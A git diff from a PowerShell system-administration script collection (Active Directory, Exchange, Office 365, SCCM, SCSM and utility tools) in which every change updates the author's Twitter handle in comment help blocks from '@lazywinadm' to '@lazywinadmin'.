b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 index da016c22..392ddb64 100644 --- a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 +++ b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 @@ -36,7 +36,7 @@ DATE: 2013/11/07 EMAIL: info@lazywinadmin.com WWW: www.lazywinadmin.com - TWITTER:@lazywinadm + TWITTER:@lazywinadmin http://www.lazywinadmin.com/2013/11/powershell-add-ad-site-subnet.html diff --git a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 index a6febe55..48cafe67 100644 --- a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 +++ b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 @@ -14,7 +14,7 @@ function Get-ADDirectReports .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin Blog post: http://www.lazywinadmin.com/2014/10/powershell-who-reports-to-whom-active.html diff --git a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 index f024a03e..75473d0b 100644 --- a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 +++ b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 @@ -18,7 +18,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin VERSION HISTORY 1.0 2015/02/03 Initial Version @@ -71,7 +71,7 @@ BEGIN Francois-Xavier Cat fxcat@lazywinadmin.com www.lazywinadmin.com - @lazywinadm + @lazywinadmin VERSION HISTORY 1.0 2014/12/25 Initial Version diff --git a/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 index a1e80b46..50d29c14 100644 --- a/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 +++ b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 @@ -23,7 +23,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM ( [Parameter(Mandatory,HelpMessage= 'http:///powershell')] diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 index 123826c8..3716de49 100644 --- a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -23,7 +23,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> param diff --git a/O365-Connect-Office365/Connect-Office365.ps1 b/O365-Connect-Office365/Connect-Office365.ps1 index 8b95e416..38fce81e 100644 --- a/O365-Connect-Office365/Connect-Office365.ps1 +++ b/O365-Connect-Office365/Connect-Office365.ps1 @@ -19,7 +19,7 @@ function Connect-Office365 .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] PARAM ( diff --git a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 index 0479f14c..d95389a5 100644 --- a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 +++ b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 @@ -9,7 +9,7 @@ function Get-DistributionGroupMemberRecursive .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] PARAM ($Group) diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index f93840d9..45b816be 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -50,7 +50,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin # More about the Calendar operations diff --git a/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 index a9a5f584..528c5d4c 100644 --- a/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 +++ b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 @@ -50,7 +50,7 @@ function Update-O365UserUPNSuffix .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin #> diff --git a/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 index 04e4703b..c09edd97 100644 --- a/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 +++ b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 @@ -34,7 +34,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] Param ( diff --git a/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 index 17e9bc19..9e9fe8ff 100644 --- a/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 +++ b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 @@ -31,7 +31,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] Param ( diff --git a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 index 5f1c1f4b..448532b7 100644 --- a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 +++ b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 @@ -17,7 +17,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin 1.0 | 2017/11/01 | Francois-Xavier Cat diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 index e8ce9b0c..71eacfd8 100644 --- a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -33,7 +33,7 @@ .NOTES Francois-Xavier cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin CHANGE HISTORY 1.0 | 2015/09/03 | Francois-Xavier Cat diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 index d7139843..e5c9d9cf 100644 --- a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -36,7 +36,7 @@ .NOTES Francois-Xavier cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin SMS_R_User: https://msdn.microsoft.com/en-us/library/hh949577.aspx SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx diff --git a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 index 36c2a44f..cb0aedb7 100644 --- a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 +++ b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 @@ -60,7 +60,7 @@ function New-SCCMDeviceVariable .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin #> [cmdletbinding()] diff --git a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 index 75cf3a58..b36e2fbe 100644 --- a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 +++ b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 @@ -21,7 +21,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM ([String]$BaseVariableName, diff --git a/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 index c10ff6ec..d27f0c7c 100644 --- a/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 +++ b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 @@ -25,7 +25,7 @@ .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding(DefaultParameterSetName = 'ResourceName')] diff --git a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 index 6de09b47..e008a953 100644 --- a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 +++ b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com 1.0 Based on Cireson's consultant function diff --git a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 index e49f46db..290a4d4f 100644 --- a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 +++ b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 @@ -25,7 +25,7 @@ .NOTES Francois-Xavier Cat www.LazyWinAdmin.com - @lazywinadm + @lazywinadmin #> PARAM diff --git a/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 index 4d176621..100206b3 100644 --- a/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 +++ b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 @@ -34,7 +34,7 @@ function Get-SCSMObjectPrefix .NOTES Francois-Xavier Cat www.lazywinadmin - @lazywinadm + @lazywinadmin github.com/lazywinadmin #> diff --git a/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 index 566faea4..62623733 100644 --- a/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 +++ b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 @@ -28,7 +28,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding(DefaultParameterSetName = 'Object')] diff --git a/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 index 24480f62..77dcf63e 100644 --- a/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 +++ b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 @@ -25,7 +25,7 @@ .NOTES Francois-Xavier Cat www.LazyWinAdmin.com - @lazywinadm + @lazywinadmin #> PARAM diff --git a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 index 2d11c381..da91048d 100644 --- a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 @@ -15,7 +15,7 @@ .NOTES Francois-Xavier.Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> PARAM ( diff --git a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 index 0626f7d6..658c586e 100644 --- a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> diff --git a/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 index 33954d8b..bd8ba0b6 100644 --- a/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> diff --git a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 index c1ba69ee..b1b40a4d 100644 --- a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 +++ b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 index f4b2be4a..03e0f818 100644 --- a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 +++ b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 @@ -25,7 +25,7 @@ .NOTES Francois-Xavier.Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com 1.0 Function based on the work from Prosum and Cireson consultants diff --git a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 index 584855db..d2d2bd0f 100644 --- a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 +++ b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 @@ -15,7 +15,7 @@ .NOTES Francois-Xavier.Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> PARAM ( diff --git a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 index 2b0721fe..a22fdf78 100644 --- a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 +++ b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> diff --git a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 index 1817b62e..3f0f3296 100644 --- a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 +++ b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 @@ -16,7 +16,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] PARAM diff --git a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 index 089f08e1..b35e1a5c 100644 --- a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 +++ b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 @@ -34,7 +34,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin Script inspired from http://www.scsm.se/?p=1423 by Anders Asp #> diff --git a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 index 5faf33b5..e2a46e61 100644 --- a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 +++ b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 @@ -54,7 +54,7 @@ function Clean-MacAddress .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [OutputType([String], ParameterSetName = "Upper")] [OutputType([String], ParameterSetName = "Lower")] diff --git a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 index 5dee3185..7cb26d5b 100644 --- a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 +++ b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 @@ -15,7 +15,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> diff --git a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 index fae41241..ba05d078 100644 --- a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 +++ b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 @@ -15,7 +15,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> diff --git a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 index 2818fc1f..da9bd4bf 100644 --- a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 +++ b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 @@ -37,7 +37,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin I used this function in System Center Orchestrator (SCORCH). This is sometime easier to pass data between activities diff --git a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 index b493b376..3c5a7bd5 100644 --- a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 +++ b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 @@ -30,7 +30,7 @@ function Disable-RemoteDesktop .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> @@ -71,7 +71,7 @@ function Disable-RemoteDesktop .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM ($Message) $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' diff --git a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 index 719a118e..963bb525 100644 --- a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 +++ b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 @@ -30,7 +30,7 @@ function Enable-RemoteDesktop .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> @@ -72,7 +72,7 @@ function Enable-RemoteDesktop .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM ($Message) $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' diff --git a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 index 66ff5ec9..5ce56081 100644 --- a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 +++ b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 @@ -35,7 +35,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')] PARAM ( diff --git a/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 b/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 index 575c61b6..9dee27ba 100644 --- a/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 +++ b/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 @@ -11,7 +11,7 @@ Get-HashTableEmptyValue -HashTable $SplattingVariable .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> PARAM([System.Collections.Hashtable]$HashTable) diff --git a/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 b/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 index b465512a..120ca798 100644 --- a/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 +++ b/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 @@ -11,7 +11,7 @@ Get-HashTableNotEmptyOrNullValue -HashTable $SplattingVariable .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> PARAM([System.Collections.Hashtable]$HashTable) diff --git a/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 b/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 index c1eafd20..e2721825 100644 --- a/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 +++ b/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin VERSION HISTORY 2015/01/10 Initial Version diff --git a/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 b/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 index 1fe5dc4a..ba301cc4 100644 --- a/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 +++ b/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 @@ -16,7 +16,7 @@ .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin #> PARAM ( diff --git a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 index 7f784b2c..a01889b0 100644 --- a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 +++ b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 @@ -19,7 +19,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #function to get the BUILTIN LocalAdministrator #http://blog.simonw.se/powershell-find-builtin-local-administrator-account/ diff --git a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 index d9599c8c..581d8d5e 100644 --- a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 +++ b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM diff --git a/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 b/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 index 0a8dad1c..d7d6ef8b 100644 --- a/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 +++ b/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 @@ -13,7 +13,7 @@ Get-LocalGroupMember .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com To Add: diff --git a/TOOL-Get-LocalUser/Get-LocalUser.ps1 b/TOOL-Get-LocalUser/Get-LocalUser.ps1 index ac0cc993..53bda7ed 100644 --- a/TOOL-Get-LocalUser/Get-LocalUser.ps1 +++ b/TOOL-Get-LocalUser/Get-LocalUser.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM diff --git a/TOOL-Get-LogFast/Get-LogFast.ps1 b/TOOL-Get-LogFast/Get-LogFast.ps1 index a37623b4..7dafa42b 100644 --- a/TOOL-Get-LogFast/Get-LogFast.ps1 +++ b/TOOL-Get-LogFast/Get-LogFast.ps1 @@ -19,7 +19,7 @@ .NOTES Francois-Xavier cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin diff --git a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 index 649fc03f..443235f6 100644 --- a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 +++ b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 @@ -15,7 +15,7 @@ .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin #> [Alias('Get-Acceletrator')] diff --git a/TOOL-Get-NetStat/Get-NetStat.ps1 b/TOOL-Get-NetStat/Get-NetStat.ps1 index 4c46dc2c..959c1154 100644 --- a/TOOL-Get-NetStat/Get-NetStat.ps1 +++ b/TOOL-Get-NetStat/Get-NetStat.ps1 @@ -10,7 +10,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @LazyWinAdm + @lazywinadmin #> PROCESS { diff --git a/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 b/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 index 312208b1..14a6ac4e 100644 --- a/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 +++ b/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 @@ -54,7 +54,7 @@ function Get-NetworkLevelAuthentication DATE : 2014/04/01 AUTHOR : Francois-Xavier Cat WWW : http://lazywinadmin.com - Twitter : @lazywinadm + Twitter : @lazywinadmin Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html GitHub : https://github.com/lazywinadmin/PowerShell diff --git a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 index 4b5a95d0..8bba49ea 100644 --- a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 @@ -45,7 +45,7 @@ function Get-PSObjectEmptyOrNullProperty .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM ( $PSObject) diff --git a/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 index 68171034..27b98b2c 100644 --- a/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 +++ b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 @@ -29,7 +29,7 @@ Author : Francois-Xavier Cat Website : www.lazywinadmin.com Github : github.com/lazywinadmin - Twitter : @lazywinadm + Twitter : @lazywinadmin #> PARAM ($ProcessName) $netstat = netstat -no diff --git a/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 index eeb70170..4445bcc3 100644 --- a/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 +++ b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 @@ -23,7 +23,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] PARAM diff --git a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 index 4ec41c00..8e7e4aa3 100644 --- a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 +++ 